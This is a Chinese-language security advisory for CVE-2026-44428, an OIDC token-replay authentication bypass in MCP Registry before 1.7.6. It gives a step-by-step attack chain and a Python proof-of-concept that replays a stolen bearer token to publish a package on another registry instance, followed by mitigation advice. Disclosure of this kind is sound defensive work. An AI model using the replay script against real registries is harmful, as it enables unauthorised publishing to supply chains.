IPBUF安全漏洞报告
English
CVE-2026-44428 CVSS 4.7 中危

CVE-2026-44428 MCP Registry OIDC 认证绕过漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-44428
漏洞类型
身份验证绕过
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MCP Registry

相关标签

OIDC身份验证绕过MCP Registry逻辑漏洞Token重放

漏洞概述

MCP Registry 在 1.7.6 版本之前存在严重的安全漏洞,其 GitHub OIDC 认证流程存在设计缺陷。该系统本应作为 MCP 服务器的应用商店,但在验证身份时,客户端和服务端仅依赖于全局的受众字符串,而非特定的注册表实例。无论用户选择哪个注册表 URL,客户端都会请求固定的 audience=mcp-registry,服务端也仅验证此固定值。这导致在一个注册表部署中获取的合法令牌,可以被重放到任何其他共享相同代码库和受众字符串的注册表部署中。攻击者可利用此漏洞绕过实例间的隔离,利用合法令牌在未授权的注册表上执行发布操作。该问题已在 1.7.6 版本中修复。

技术细节

该漏洞的核心在于 MCP Registry 对 GitHub Actions OIDC ID Token 中 `aud`(Audience)声明的处理不当。在安全设计中,Audience 用于限制令牌的适用范围,防止令牌在不同服务间滥用。然而,MCP Registry 的实现在客户端硬编码了 `audience=mcp-registry`,未根据部署环境(如 URL)进行区分。服务端在验证令牌时,仅检查该硬编码的 audience 是否存在,而未验证其是否与当前服务实例匹配。由于服务端直接从令牌的 `repository_owner` 声明中推导发布权限,攻击者只需获取针对任意一个实例的有效令牌,即可将其重放至目标实例。目标实例会误认为该令牌是发给自己的,从而授予攻击者相应的发布权限,造成越权访问。

攻击链分析

STEP 1
步骤1
攻击者或普通用户与合法的 MCP Registry 实例 A 进行交互,通过 GitHub OIDC 流程获取 ID Token。
STEP 2
步骤2
由于客户端代码硬编码 audience 为 'mcp-registry',获取到的 Token 实际上是一个通用的 Token,不特定于实例 A。
STEP 3
步骤3
攻击者截获或获取该 Token,并选定另一个运行受影响版本的 MCP Registry 实例 B 作为目标。
STEP 4
步骤4
攻击者将获取到的 Token 放入针对实例 B 的 API 请求中(如发布请求)。
STEP 5
步骤5
实例 B 的服务端验证 Token 的 audience 为 'mcp-registry' 并通过验证,错误地认为该 Token 是颁发给自己的,从而授权攻击者的请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-44428 # This script demonstrates how a token obtained for one registry # can be replayed to another registry due to the global audience issue. import requests import sys def exploit(target_url, stolen_token): """ Attempt to publish a package using a token from a different registry. """ # The endpoint vulnerable to the replay attack endpoint = f"{target_url}/api/exchange" headers = { "Authorization": f"Bearer {stolen_token}", "Content-Type": "application/json" } # Malicious payload intended for the target registry data = { "name": "exploit-package", "version": "1.0.0", "repository_url": "http://attacker-controlled-repo.com" } try: print(f"[*] Sending replay attack request to {endpoint}...") response = requests.post(endpoint, json=data, headers=headers) if response.status_code == 200: print("[+] Success! The registry accepted the token from another instance.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <target_registry_url> <stolen_oidc_token>") sys.exit(1) TARGET_URL = sys.argv[1] TOKEN = sys.argv[2] exploit(TARGET_URL, TOKEN)

影响范围

MCP Registry < 1.7.6

防御指南

临时缓解措施
在升级到修复版本之前,建议限制注册表实例的网络访问权限,仅允许受信任的 CI/CD 系统或 IP 地址访问。如果可能,应暂时禁用跨实例的发布功能,直到补丁应用完毕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表